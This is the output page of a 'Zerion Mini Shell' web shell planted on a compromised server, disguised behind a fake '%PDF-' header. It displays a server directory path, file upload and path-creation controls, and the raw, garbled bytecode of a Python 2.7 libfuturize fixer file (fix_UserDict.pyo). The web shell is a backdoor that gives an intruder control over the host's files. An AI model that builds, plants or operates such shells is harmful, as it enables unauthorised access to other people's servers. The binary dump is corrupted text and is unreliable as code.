%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyo

�
�A�[c@sodZddlmZddlmZmZddlmZmZm	Z	idd6Z
de	fd��YZd	S(
sCFix UserDict.

Incomplete!

TODO: base this on fix_urllib perhaps?
i����(t
fixer_base(tNamet
attr_chain(t
alternatest
build_patternt
FixImportstcollectionstUserDicttFixUserdictcBsMeZeZeZeZdZd�Zd�Z	d�Z
d�Zd�ZRS(icCsdjt|j��S(Nt|(tjoinRtmapping(tself((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyR5scCs&|j�|_tt|�j�dS(N(RtPATTERNtsuperRtcompile_pattern(R((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyR8scsatt|�j��|�}|r]d|krYt�fd�t|d�D��rYtS|StS(Ntbare_with_attrc3s|]}�|�VqdS(N((t.0tobj(tmatch(sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pys	<genexpr>Fstparent(RRRtanyRtFalse(Rtnodetresults((RsO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyR?s%cCs&tt|�j||�i|_dS(N(RRt
start_treetreplace(Rttreetfilename((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyRKscCs�|jd�}|r�|j}t|j|�}|jt|d|j��d|kri||j|<nd|kr�|j|�}|r�|j||�q�q�nH|dd}|jj|j�}|r�|jt|d|j��ndS(Ntmodule_nametprefixtname_importtmultiple_importsRi(	tgettvaluetunicodeRRRRRt	transform(RRRt
import_modtmod_nametnew_namet	bare_name((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyR$Os	(
t__name__t
__module__tTruet
BM_compatibletkeep_line_ordertMAPPINGRt	run_orderRRRRR$(((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyR*s				N(t__doc__tlib2to3Rtlib2to3.fixer_utilRRtlib2to3.fixes.fix_importsRRRR.R(((sO/opt/alt/python27/lib/python2.7/site-packages/libfuturize/fixes/fix_UserDict.pyt<module>s



Zerion Mini Shell 1.0